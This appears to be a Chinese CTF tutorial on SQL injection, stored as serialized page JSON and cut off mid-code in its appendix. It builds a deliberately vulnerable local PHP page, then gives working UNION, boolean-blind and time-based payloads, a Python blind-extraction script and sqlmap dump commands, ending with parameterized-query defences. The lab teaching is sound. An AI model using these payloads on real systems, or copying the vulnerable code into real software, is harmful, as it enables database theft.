[{"data":1,"prerenderedAt":1492},["ShallowReactive",2],{"category-data-sql注入":3},[4],{"id":5,"title":6,"body":7,"description":1478,"extension":1479,"meta":1480,"navigation":741,"ogImage":1482,"path":1488,"seo":1489,"stem":1490,"__hash__":1491},"content/blogs/14. ctf-web-sql-injection-deep-dive.md","SQL 注入深入实战：判断、UNION 拖库、盲注与防御",{"type":8,"value":9,"toc":1467},"minimark",[10,15,19,43,53,64,72,76,81,122,129,133,136,174,180,232,238,244,248,258,264,268,273,293,296,304,308,313,329,332,338,345,349,365,371,375,391,394,408,412,417,422,429,433,441,490,493,497,505,521,527,531,547,552,556,572,577,581,597,602,617,621,637,642,648,652,657,660,664,680,686,702,708,711,720,880,883,889,893,900,916,919,923,928,932,937,960,963,969,973,993,998,1002,1034,1041,1045,1089,1098,1105,1109,1114,1120,1297,1300,1313,1316,1322,1325,1452,1456,1463],[11,12,14],"h3",{"id":13},"一现实背景sql-是怎么被拼出来的","一、现实背景：SQL 是怎么被拼出来的",[16,17,18],"p",{},"普通程序员的查询代码：",[20,21,26],"pre",{"className":22,"code":23,"language":24,"meta":25,"style":25},"language-php shiki shiki-themes dracula","$id = $_GET['id'];\n$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n","php","",[27,28,29,37],"code",{"__ignoreMap":25},[30,31,34],"span",{"class":32,"line":33},"line",1,[30,35,36],{},"$id = $_GET['id'];\n",[30,38,40],{"class":32,"line":39},2,[30,41,42],{},"$sql = \"SELECT id, title FROM articles WHERE id = \" . $id;\n",[16,44,45,48,49,52],{},[27,46,47],{},"$id"," 被直接拼进 SQL 字符串。当 ",[27,50,51],{},"id=1 OR 1=1"," 时：",[20,54,58],{"className":55,"code":56,"language":57,"meta":25,"style":25},"language-sql shiki shiki-themes dracula","SELECT id, title FROM articles WHERE id = 1 OR 1=1\n","sql",[27,59,60],{"__ignoreMap":25},[30,61,62],{"class":32,"line":33},[30,63,56],{},[16,65,66,67,71],{},"恒真，返回全表。",[68,69,70],"strong",{},"用户输入从\"数据\"变成了\"代码\"","，这就是 SQL 注入。",[11,73,75],{"id":74},"二环境搭建二选一","二、环境搭建（二选一）",[77,78,80],"h4",{"id":79},"方式-asqli-labs-靶场","方式 A：sqli-labs 靶场",[20,82,86],{"className":83,"code":84,"language":85,"meta":25,"style":25},"language-bash shiki shiki-themes dracula","git clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000\n","bash",[27,87,88,101,110],{"__ignoreMap":25},[30,89,90,94,98],{"class":32,"line":33},[30,91,93],{"class":92},"sAOxA","git",[30,95,97],{"class":96},"s-mGx"," clone",[30,99,100],{"class":96}," https://github.com/Audi-1/sqli-labs.git\n",[30,102,103,107],{"class":32,"line":39},[30,104,106],{"class":105},"sLL85","cd",[30,108,109],{"class":96}," sqli-labs\n",[30,111,113,115,119],{"class":32,"line":112},3,[30,114,24],{"class":92},[30,116,118],{"class":117},"sIQBb"," -S",[30,120,121],{"class":96}," 127.0.0.1:8000\n",[16,123,124,125,128],{},"浏览器访问，点 \"Setup/reset Database\"，之后打 ",[27,126,127],{},"Less-1","。",[77,130,132],{"id":131},"方式-b自建漏洞页本文以此讲解","方式 B：自建漏洞页（本文以此讲解）",[16,134,135],{},"数据库：",[20,137,139],{"className":55,"code":138,"language":57,"meta":25,"style":25},"CREATE DATABASE ctf;\nUSE ctf;\nCREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag VARCHAR(100));\nINSERT INTO flag VALUES ('flag{sql_injection}');\n",[27,140,141,146,151,156,162,168],{"__ignoreMap":25},[30,142,143],{"class":32,"line":33},[30,144,145],{},"CREATE DATABASE ctf;\n",[30,147,148],{"class":32,"line":39},[30,149,150],{},"USE ctf;\n",[30,152,153],{"class":32,"line":112},[30,154,155],{},"CREATE TABLE articles (id INT, title VARCHAR(50), content VARCHAR(200));\n",[30,157,159],{"class":32,"line":158},4,[30,160,161],{},"INSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\n",[30,163,165],{"class":32,"line":164},5,[30,166,167],{},"CREATE TABLE flag (flag VARCHAR(100));\n",[30,169,171],{"class":32,"line":170},6,[30,172,173],{},"INSERT INTO flag VALUES ('flag{sql_injection}');\n",[16,175,176,179],{},[27,177,178],{},"vuln.php","：",[20,181,183],{"className":22,"code":182,"language":24,"meta":25,"style":25},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n$id = $_GET['id'];\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n$result = $conn->query($sql);\nwhile ($row = $result->fetch_assoc()) {\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n}\n?>\n",[27,184,185,190,195,199,204,209,214,220,226],{"__ignoreMap":25},[30,186,187],{"class":32,"line":33},[30,188,189],{},"\u003C?php\n",[30,191,192],{"class":32,"line":39},[30,193,194],{},"$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n",[30,196,197],{"class":32,"line":112},[30,198,36],{},[30,200,201],{"class":32,"line":158},[30,202,203],{},"$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n",[30,205,206],{"class":32,"line":164},[30,207,208],{},"$result = $conn->query($sql);\n",[30,210,211],{"class":32,"line":170},[30,212,213],{},"while ($row = $result->fetch_assoc()) {\n",[30,215,217],{"class":32,"line":216},7,[30,218,219],{},"    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n",[30,221,223],{"class":32,"line":222},8,[30,224,225],{},"}\n",[30,227,229],{"class":32,"line":228},9,[30,230,231],{},"?>\n",[16,233,234,235,128],{},"启动：",[27,236,237],{},"php -S 127.0.0.1:8000",[239,240,241],"blockquote",{},[16,242,243],{},"说明：如果你的电脑不方便装 PHP+MySQL，可以跳过本节，用\"附录\"里的 Python+SQLite 模拟程序跑通同样的注入过程，原理完全一致。",[11,245,247],{"id":246},"三核心步骤-1注入点判断","三、核心步骤 1：注入点判断",[16,249,250,253,254,257],{},[68,251,252],{},"目的","：确认参数 ",[27,255,256],{},"id"," 能影响 SQL 逻辑，避免在非注入点上浪费时间。",[16,259,260,263],{},[68,261,262],{},"思路","：用\"会破坏语法\"的单引号和\"改变查询条件\"的 AND 表达式做探测。单引号报错、恒真正常、恒假为空，三者齐备即确认。",[77,265,267],{"id":266},"请求-1正常请求","请求 1：正常请求",[16,269,270,272],{},[68,271,252],{},"：记录正常响应的样子，作为后续对比的基线。",[20,274,276],{"className":83,"code":275,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1\"\n",[27,277,278],{"__ignoreMap":25},[30,279,280,283,287,290],{"class":32,"line":33},[30,281,282],{"class":92},"curl",[30,284,286],{"class":285},"seVfx"," \"",[30,288,289],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1",[30,291,292],{"class":285},"\"\n",[16,294,295],{},"预期输出：",[20,297,302],{"className":298,"code":300,"language":301,"meta":25},[299],"language-text","1 hello world\n","text",[27,303,300],{"__ignoreMap":25},[77,305,307],{"id":306},"请求-2单引号","请求 2：单引号",[16,309,310,312],{},[68,311,252],{},"：判断输入是否被拼进 SQL。拼进去了，单引号就会破坏语法。",[20,314,316],{"className":83,"code":315,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1'\"\n",[27,317,318],{"__ignoreMap":25},[30,319,320,322,324,327],{"class":32,"line":33},[30,321,282],{"class":92},[30,323,286],{"class":285},[30,325,326],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1'",[30,328,292],{"class":285},[16,330,331],{},"预期输出（报错）：",[20,333,336],{"className":334,"code":335,"language":301,"meta":25},[299],"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...\n",[27,337,335],{"__ignoreMap":25},[16,339,340,341,344],{},"原因：语句变成 ",[27,342,343],{},"WHERE id = 1'","，单引号未闭合。",[77,346,348],{"id":347},"请求-3and-11","请求 3：AND 1=1",[20,350,352],{"className":83,"code":351,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1\"\n",[27,353,354],{"__ignoreMap":25},[30,355,356,358,360,363],{"class":32,"line":33},[30,357,282],{"class":92},[30,359,286],{"class":285},[30,361,362],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=1",[30,364,292],{"class":285},[16,366,295,367,370],{},[27,368,369],{},"1 hello world","（条件真）。",[77,372,374],{"id":373},"请求-4and-12","请求 4：AND 1=2",[20,376,378],{"className":83,"code":377,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n",[27,379,380],{"__ignoreMap":25},[30,381,382,384,386,389],{"class":32,"line":33},[30,383,282],{"class":92},[30,385,286],{"class":285},[30,387,388],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2",[30,390,292],{"class":285},[16,392,393],{},"预期输出：空（条件假）。",[16,395,396,399,400,403,404,407],{},[68,397,398],{},"判定","：单引号报错 + ",[27,401,402],{},"1=1"," 正常 + ",[27,405,406],{},"1=2"," 为空 → 注入点确认。",[11,409,411],{"id":410},"四核心步骤-2union-注入五步拖库","四、核心步骤 2：UNION 注入五步拖库",[16,413,414,416],{},[68,415,252],{},"：把数据库里的表和数据\"借\" UNION 查询显示到页面上。",[16,418,419,421],{},[68,420,262],{},"：UNION 合并两个查询，但要求列数一致；先把第一个查询置空（id=-1），再用回显列依次输出库名、表名、列名、数据。每一步都是下一步的前提：不知道库名就筛不出表，不知道表名就查不了列。",[16,423,424,425,428],{},"前提：第一个查询返回空（用 ",[27,426,427],{},"id=-1","），UNION 两个查询列数相同。",[77,430,432],{"id":431},"第-1-步确定列数","第 1 步：确定列数",[16,434,435,179,437,440],{},[68,436,262],{},[27,438,439],{},"ORDER BY N"," 按第 N 列排序，N 超过实际列数时报错。从 1 试到报错为止，报错前的 N 就是列数。",[20,442,444],{"className":83,"code":443,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3\"\ncurl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4\"\n",[27,445,446,457,468,479],{"__ignoreMap":25},[30,447,448,450,452,455],{"class":32,"line":33},[30,449,282],{"class":92},[30,451,286],{"class":285},[30,453,454],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1",[30,456,292],{"class":285},[30,458,459,461,463,466],{"class":32,"line":39},[30,460,282],{"class":92},[30,462,286],{"class":285},[30,464,465],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 2",[30,467,292],{"class":285},[30,469,470,472,474,477],{"class":32,"line":112},[30,471,282],{"class":92},[30,473,286],{"class":285},[30,475,476],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 3",[30,478,292],{"class":285},[30,480,481,483,485,488],{"class":32,"line":158},[30,482,282],{"class":92},[30,484,286],{"class":285},[30,486,487],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 4",[30,489,292],{"class":285},[16,491,492],{},"前三条正常，第四条报错 → 共 3 列。",[77,494,496],{"id":495},"第-2-步确认回显位","第 2 步：确认回显位",[16,498,499,179,501,504],{},[68,500,262],{},[27,502,503],{},"SELECT 1,2,3"," 的数字会显示在页面上，显示的哪个数字对应哪一列，哪一列就能用来输出数据。",[20,506,508],{"className":83,"code":507,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n",[27,509,510],{"__ignoreMap":25},[30,511,512,514,516,519],{"class":32,"line":33},[30,513,282],{"class":92},[30,515,286],{"class":285},[30,517,518],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+",[30,520,292],{"class":285},[16,522,295,523,526],{},[27,524,525],{},"2 3","。第 2、3 列内容会显示，作为后续输出位置。",[77,528,530],{"id":529},"第-3-步查数据库名","第 3 步：查数据库名",[20,532,534],{"className":83,"code":533,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n",[27,535,536],{"__ignoreMap":25},[30,537,538,540,542,545],{"class":32,"line":33},[30,539,282],{"class":92},[30,541,286],{"class":285},[30,543,544],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+",[30,546,292],{"class":285},[16,548,295,549,128],{},[27,550,551],{},"ctf",[77,553,555],{"id":554},"第-4-步查表名","第 4 步：查表名",[20,557,559],{"className":83,"code":558,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n",[27,560,561],{"__ignoreMap":25},[30,562,563,565,567,570],{"class":32,"line":33},[30,564,282],{"class":92},[30,566,286],{"class":285},[30,568,569],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+",[30,571,292],{"class":285},[16,573,295,574,128],{},[27,575,576],{},"articles,flag,users",[77,578,580],{"id":579},"第-5-步查列名","第 5 步：查列名",[20,582,584],{"className":83,"code":583,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+\"\n",[27,585,586],{"__ignoreMap":25},[30,587,588,590,592,595],{"class":32,"line":33},[30,589,282],{"class":92},[30,591,286],{"class":285},[30,593,594],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+",[30,596,292],{"class":285},[16,598,295,599,128],{},[27,600,601],{},"flag",[16,603,604,607,608,610,611,613,614,616],{},[68,605,606],{},"说明","：如果第 4 步看到多个表，比如 ",[27,609,576],{},"，优先怀疑 ",[27,612,601],{}," 表；列名可能不是 ",[27,615,601],{},"，需要本步用 information_schema.columns 确认。",[77,618,620],{"id":619},"第-6-步拿数据","第 6 步：拿数据",[20,622,624],{"className":83,"code":623,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n",[27,625,626],{"__ignoreMap":25},[30,627,628,630,632,635],{"class":32,"line":33},[30,629,282],{"class":92},[30,631,286],{"class":285},[30,633,634],{"class":96},"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+",[30,636,292],{"class":285},[16,638,295,639,128],{},[27,640,641],{},"flag{sql_injection}",[16,643,644,647],{},[68,645,646],{},"验证","：若第 6 步报错，通常是列名猜错，回到第 5 步把列名抄准再试。",[11,649,651],{"id":650},"五核心步骤-3盲注页面不回显时","五、核心步骤 3：盲注（页面不回显时）",[16,653,654,656],{},[68,655,252],{},"：当页面既不显示查询结果也不报错时，把数据库当\"是与否\"的问答机，逐字符问出数据。",[16,658,659],{},"当页面不显示查询结果也不报错时，只能用\"是与否\"推断数据。",[77,661,663],{"id":662},"_51-布尔盲注","5.1 布尔盲注",[20,665,667],{"className":83,"code":666,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+\"\n",[27,668,669],{"__ignoreMap":25},[30,670,671,673,675,678],{"class":32,"line":33},[30,672,282],{"class":92},[30,674,286],{"class":285},[30,676,677],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='c'--+",[30,679,292],{"class":285},[16,681,682,683,128],{},"正常 → 库名第一个字符是 ",[27,684,685],{},"c",[20,687,689],{"className":83,"code":688,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+\"\n",[27,690,691],{"__ignoreMap":25},[30,692,693,695,697,700],{"class":32,"line":33},[30,694,282],{"class":92},[30,696,286],{"class":285},[30,698,699],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND (SELECT SUBSTRING(database(),1,1))='a'--+",[30,701,292],{"class":285},[16,703,704,705,128],{},"为空 → 不是 ",[27,706,707],{},"a",[16,709,710],{},"自动化脚本：",[16,712,713,715,716,719],{},[68,714,262],{},"：对 flag 的每个位置，逐个尝试字符，问\"这一位是不是 ch\"；页面出现正常特征（如 ",[27,717,718],{},"hello","）就说明猜对，把字符记下再问下一位。",[20,721,725],{"className":722,"code":723,"language":724,"meta":25,"style":25},"language-python shiki shiki-themes dracula","import requests, string\n# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n\nurl = \"http://127.0.0.1:8000/vuln.php\"\nresult = \"\"          # 保存已确认的 flag 片段\n\nfor pos in range(1, 50):\n    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n    found = False\n    for ch in string.printable:\n        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n        r = requests.get(url, params={\"id\": payload})\n        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n        # r.text：响应正文。\n        if \"hello\" in r.text:\n            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n            result += ch\n            print(result)\n            found = True\n            break\n    if not found or result.endswith('}'):\n        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n        break\nprint(\"flag:\", result)\n","python",[27,726,727,732,737,743,748,753,757,762,767,772,778,784,790,796,802,808,814,820,826,832,838,844,850,856,862,868,874],{"__ignoreMap":25},[30,728,729],{"class":32,"line":33},[30,730,731],{},"import requests, string\n",[30,733,734],{"class":32,"line":39},[30,735,736],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[30,738,739],{"class":32,"line":112},[30,740,742],{"emptyLinePlaceholder":741},true,"\n",[30,744,745],{"class":32,"line":158},[30,746,747],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[30,749,750],{"class":32,"line":164},[30,751,752],{},"result = \"\"          # 保存已确认的 flag 片段\n",[30,754,755],{"class":32,"line":170},[30,756,742],{"emptyLinePlaceholder":741},[30,758,759],{"class":32,"line":216},[30,760,761],{},"for pos in range(1, 50):\n",[30,763,764],{"class":32,"line":222},[30,765,766],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[30,768,769],{"class":32,"line":228},[30,770,771],{},"    found = False\n",[30,773,775],{"class":32,"line":774},10,[30,776,777],{},"    for ch in string.printable:\n",[30,779,781],{"class":32,"line":780},11,[30,782,783],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[30,785,787],{"class":32,"line":786},12,[30,788,789],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[30,791,793],{"class":32,"line":792},13,[30,794,795],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[30,797,799],{"class":32,"line":798},14,[30,800,801],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[30,803,805],{"class":32,"line":804},15,[30,806,807],{},"        r = requests.get(url, params={\"id\": payload})\n",[30,809,811],{"class":32,"line":810},16,[30,812,813],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[30,815,817],{"class":32,"line":816},17,[30,818,819],{},"        # r.text：响应正文。\n",[30,821,823],{"class":32,"line":822},18,[30,824,825],{},"        if \"hello\" in r.text:\n",[30,827,829],{"class":32,"line":828},19,[30,830,831],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[30,833,835],{"class":32,"line":834},20,[30,836,837],{},"            result += ch\n",[30,839,841],{"class":32,"line":840},21,[30,842,843],{},"            print(result)\n",[30,845,847],{"class":32,"line":846},22,[30,848,849],{},"            found = True\n",[30,851,853],{"class":32,"line":852},23,[30,854,855],{},"            break\n",[30,857,859],{"class":32,"line":858},24,[30,860,861],{},"    if not found or result.endswith('}'):\n",[30,863,865],{"class":32,"line":864},25,[30,866,867],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[30,869,871],{"class":32,"line":870},26,[30,872,873],{},"        break\n",[30,875,877],{"class":32,"line":876},27,[30,878,879],{},"print(\"flag:\", result)\n",[16,881,882],{},"运行过程输出（节选）：",[20,884,887],{"className":885,"code":886,"language":301,"meta":25},[299],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[27,888,886],{"__ignoreMap":25},[77,890,892],{"id":891},"_52-时间盲注","5.2 时间盲注",[16,894,895,896,899],{},"页面连\"正常/异常\"都无法区分时，用 ",[27,897,898],{},"SLEEP"," 制造时间差：",[20,901,903],{"className":83,"code":902,"language":85,"meta":25,"style":25},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[27,904,905],{"__ignoreMap":25},[30,906,907,909,911,914],{"class":32,"line":33},[30,908,282],{"class":92},[30,910,286],{"class":285},[30,912,913],{"class":96},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[30,915,292],{"class":285},[16,917,918],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[11,920,922],{"id":921},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[16,924,925,927],{},[68,926,252],{},"：手工确认后，用工具批量完成拖库，效率更高。",[77,929,931],{"id":930},"命令-1检测","命令 1：检测",[16,933,934,936],{},[68,935,262],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[20,938,940],{"className":83,"code":939,"language":85,"meta":25,"style":25},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[27,941,942],{"__ignoreMap":25},[30,943,944,947,950,952,954,957],{"class":32,"line":33},[30,945,946],{"class":92},"sqlmap",[30,948,949],{"class":117}," -u",[30,951,286],{"class":285},[30,953,289],{"class":96},[30,955,956],{"class":285},"\"",[30,958,959],{"class":117}," --batch\n",[16,961,962],{},"预期输出（节选）：",[20,964,967],{"className":965,"code":966,"language":301,"meta":25},[299],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[27,968,966],{"__ignoreMap":25},[77,970,972],{"id":971},"命令-2列库","命令 2：列库",[20,974,976],{"className":83,"code":975,"language":85,"meta":25,"style":25},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[27,977,978],{"__ignoreMap":25},[30,979,980,982,984,986,988,990],{"class":32,"line":33},[30,981,946],{"class":92},[30,983,949],{"class":117},[30,985,286],{"class":285},[30,987,289],{"class":96},[30,989,956],{"class":285},[30,991,992],{"class":117}," --dbs\n",[16,994,995,996,128],{},"预期输出：数据库列表，含 ",[27,997,551],{},[77,999,1001],{"id":1000},"命令-3导出数据","命令 3：导出数据",[20,1003,1005],{"className":83,"code":1004,"language":85,"meta":25,"style":25},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[27,1006,1007],{"__ignoreMap":25},[30,1008,1009,1011,1013,1015,1017,1019,1022,1025,1028,1031],{"class":32,"line":33},[30,1010,946],{"class":92},[30,1012,949],{"class":117},[30,1014,286],{"class":285},[30,1016,289],{"class":96},[30,1018,956],{"class":285},[30,1020,1021],{"class":117}," -D",[30,1023,1024],{"class":96}," ctf",[30,1026,1027],{"class":117}," -T",[30,1029,1030],{"class":96}," flag",[30,1032,1033],{"class":117}," --dump\n",[16,1035,295,1036,1038,1039,128],{},[27,1037,601],{}," 表内容 ",[27,1040,641],{},[11,1042,1044],{"id":1043},"七核心步骤-5防御","七、核心步骤 5：防御",[20,1046,1048],{"className":22,"code":1047,"language":24,"meta":25,"style":25},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[27,1049,1050,1055,1060,1065,1069,1074,1079,1084],{"__ignoreMap":25},[30,1051,1052],{"class":32,"line":33},[30,1053,1054],{},"// PDO 参数化\n",[30,1056,1057],{"class":32,"line":39},[30,1058,1059],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[30,1061,1062],{"class":32,"line":112},[30,1063,1064],{},"$stmt->execute([$_GET['id']]);\n",[30,1066,1067],{"class":32,"line":158},[30,1068,742],{"emptyLinePlaceholder":741},[30,1070,1071],{"class":32,"line":164},[30,1072,1073],{},"// mysqli 参数化\n",[30,1075,1076],{"class":32,"line":170},[30,1077,1078],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[30,1080,1081],{"class":32,"line":216},[30,1082,1083],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[30,1085,1086],{"class":32,"line":222},[30,1087,1088],{},"$stmt->execute();\n",[20,1090,1092],{"className":722,"code":1091,"language":724,"meta":25,"style":25},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[27,1093,1094],{"__ignoreMap":25},[30,1095,1096],{"class":32,"line":33},[30,1097,1091],{},[16,1099,1100,1101,1104],{},"参数化后，输入 ",[27,1102,1103],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[11,1106,1108],{"id":1107},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[16,1110,1111,1113],{},[68,1112,252],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[16,1115,1116,1117,179],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[27,1118,1119],{},"sim.py",[20,1121,1123],{"className":722,"code":1122,"language":724,"meta":25,"style":25},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[27,1124,1125,1130,1135,1139,1144,1149,1154,1159,1163,1168,1172,1177,1182,1186,1191,1196,1201,1206,1211,1216,1221,1226,1231,1236,1241,1246,1250,1255,1261,1267,1273,1279,1285,1291],{"__ignoreMap":25},[30,1126,1127],{"class":32,"line":33},[30,1128,1129],{},"import sqlite3\n",[30,1131,1132],{"class":32,"line":39},[30,1133,1134],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[30,1136,1137],{"class":32,"line":112},[30,1138,742],{"emptyLinePlaceholder":741},[30,1140,1141],{"class":32,"line":158},[30,1142,1143],{},"conn = sqlite3.connect(':memory:')\n",[30,1145,1146],{"class":32,"line":164},[30,1147,1148],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[30,1150,1151],{"class":32,"line":170},[30,1152,1153],{},"conn.executescript('''\n",[30,1155,1156],{"class":32,"line":216},[30,1157,1158],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[30,1160,1161],{"class":32,"line":222},[30,1162,161],{},[30,1164,1165],{"class":32,"line":228},[30,1166,1167],{},"CREATE TABLE flag (flag TEXT);\n",[30,1169,1170],{"class":32,"line":774},[30,1171,173],{},[30,1173,1174],{"class":32,"line":780},[30,1175,1176],{},"''')\n",[30,1178,1179],{"class":32,"line":786},[30,1180,1181],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[30,1183,1184],{"class":32,"line":792},[30,1185,742],{"emptyLinePlaceholder":741},[30,1187,1188],{"class":32,"line":798},[30,1189,1190],{},"def 